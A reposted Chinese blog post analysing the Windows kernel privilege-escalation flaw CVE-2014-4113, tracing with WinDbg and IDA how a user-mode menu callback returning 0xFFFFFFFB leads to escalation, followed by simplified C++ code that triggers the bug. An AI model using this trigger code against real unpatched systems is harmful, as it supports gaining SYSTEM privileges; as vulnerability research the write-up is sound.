博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CVE-2014-4113漏洞利用过程分析
阅读量:6431 次
发布时间:2019-06-23

本文共 5033 字,大约阅读时间需要 16 分钟。

cssembly · 2014/10/24 14:13

0x00 简介


通过VMware和Windbg搭建32位内核调试环境,系统为xp sp2,执行漏洞利用程序win32.exe calc.exe,弹出了一个SYSTEM权限的calc。

通过IDA分析win32.exe,可以看到signed int __cdecl sub_4010F2()函数通过调用ZwQuerySystemInformation泄露内核模块ntkrnlpa.exe基址,最终得到PsLookupProcessByProcessId函数地址,该函数用于漏洞利用代码。

sub_401830函数是漏洞利用代码,完成权限提升操作。

0x01 调试过程


通过在函数上设置断点,可以得到漏洞利用触发位置。

可见是由TrackPopupMenu最终触发了漏洞,调用点为call dwordptr[esi+20],此时esi的值为0xfffffffb。 通过函数调用栈,对esi值的来源进行反向跟踪,可以知道在Menu的消息处理函数signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中调用int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值,最终触发了漏洞。

通过对xxxMNFindWindowFromPoint的调用过程进行分析,找到异常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。异常的值最终是由KeUserModeCallback函数通过v28指向的值返回。其中KeUserModeCallback函数的原型如下:

#!cppNTSTATUSKeUserModeCallback (     IN ULONGApiNumber,     IN PVOIDInputBuffer,     IN ULONGInputLength,     OUT PVOID *OutputBuffer,     IN PULONGOutputLength     );复制代码

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallbackKiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用sub_401475(pfnFilterProc)函数。

程序在pfnFilterProc中通过SetWindowLongA设置PopupMenu的窗口消息处理函数,那么当xxxCallHook函数返回后,图中的!(*(_BYTE *)(a1 + 22) & 4)条件成立,将执行xxxSendMessageToClient,该函数内将执行KeUserModeCallback,最终调用用户态函数sub_4013F3

sub_4013F3函数尾部返回了0xFFFFFFFB。与KeUserModeCallback函数通过v28返回的值相等。为了进一步确认,修改sub_4013F3函数返回值为0xFFFFFFFF。可以看到v28指向的值变成了0xFFFFFFF

通过修改win32.exe中的指令,将0x40146D处的push 0FFFFFFFBh修改为push 0FFFFFFFFh,执行之后发现提权失败。进一步确定由于内核的使用了异常的函数返回值,最终导致了权限提升。

可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时,没有判断消息函数的返回值,最终导致了权限提升。 所以漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后,xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。

0x02 触发代码


通过上面的分析,根据win32.exe中代码,稍加简化,可以得到如下的漏洞触发代码。

#!cpp#include"stdafx.h"#include
DWORD dword_40DA54=0,dword_40DA5C=0;WNDPROC lpPrevWndFunc = NULL;LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam ){if ( Msg == WM_ENTERIDLE ) {if ( dword_40DA5C != 1 ) { dword_40DA5C = 1;//模仿点击消息,触发0x1EB消息处理,执行pfnFilterProc PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0); PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0); PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0); } }return DefWindowProcA( hWnd,Msg,wParam,lParam);}int __cdecl sub_401306(){ HMENU v0; // HMENU v1; // MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1 MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1 HMENU v9; // [sp+6Ch] [bp-4h]@1 v9 = 0; memset((void *)&mi, 0, sizeof(mi)); memset(&v4, 0, sizeof(MENUITEMINFOA)); mi.cbSize = 48; v0 = CreatePopupMenu();if ( v0 ) { mi.fMask = 64;if ( InsertMenuItemA(v0, 0, 1, &mi) ) { v4.fMask = 68; v4.dwTypeData = (LPSTR)&dword_40DA54; v4.cch = 1; v4.hSubMenu = v0; v4.cbSize = 48; v1 = CreatePopupMenu(); v9 = v1;if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) ) { DestroyMenu(v0);if ( v1 ) DestroyMenu(v1); } }else DestroyMenu(v0); }return (int)v9;}unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam){if ( Msg != 0x1EB )return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);return 0xFFFFFFFBu;//返回xFFFFFFFB,触发漏洞}LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam){if ( *(DWORD *)(lParam + 8) == 0x1EB ) { UnhookWindowsHook(4, pfnFilterProc); //设置PopupMenu的窗口消息处理函数 lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3); }return CallNextHookEx(0, nCode, wParam, lParam);}int __stdcall Exp(){int v1; // DWORD v2; // int result; // HWND hWnd; // [sp+10h] [bp-58h]@2signed int v5; // [sp+14h] [bp-54h]@1 LPVOID lpAddress; // [sp+18h] [bp-50h]@1struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1 WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1 v5 = 0; lpAddress = 0; memset(&SystemInfo, 0, 0x24u); memset(&WndClass, 0, 0x28u); WndClass.lpfnWndProc = (WNDPROC)sub_4014D2; WndClass.lpszClassName = "woqunimalegebi"; GetNativeSystemInfo(&SystemInfo);if ( SystemInfo.dwOemId != 9&& (RegisterClassA(&WndClass)&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) ) {v1 = 0;v5 = 1; v1 = sub_401306(); if ( v1 ) { v2 = GetCurrentThreadId(); SetWindowsHookExA(4, pfnFilterProc, 0, v2); TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0); } DestroyWindow(hWnd);if ( v1 ) DestroyMenu((HMENU)v1); UnhookWindowsHook(4, pfnFilterProc);if ( v5 ) VirtualFree(lpAddress, 0, 0x8000u); result = 0; }else result = 0;return result;}int _tmain(int argc, _TCHAR* argv[]){ Exp(); return 0;}复制代码

编译执行之后,可以看到触发了异常。

转载地址:http://fqxga.baihongyu.com/

你可能感兴趣的文章
集成 Kubernetes 与 Cloud Foundry,IBM自有一套
查看>>
php 中英文字符分割
查看>>
No module named yum
查看>>
Shell处理用户输入参数----getopts
查看>>
【函数】06、装饰器的应用
查看>>
v$sysstat
查看>>
剑指offer 66通关纪念
查看>>
医疗信息化 医学 医院管理 医疗器械 资料下载
查看>>
nginx.conf 示例配置
查看>>
在办公电脑上设置日志服务器监控思科和华为设备
查看>>
python 字符串替换
查看>>
我的友情链接
查看>>
Linux之常用网络命令
查看>>
linux php 安装 curl
查看>>
tomcat nginx默许的post大小限制
查看>>
OSI七层模型
查看>>
去除工程的.svn隐藏文件夹
查看>>
Python24 终端如何输出彩色字体
查看>>
XSS跨站脚本***
查看>>
linux 挂载光驱
查看>>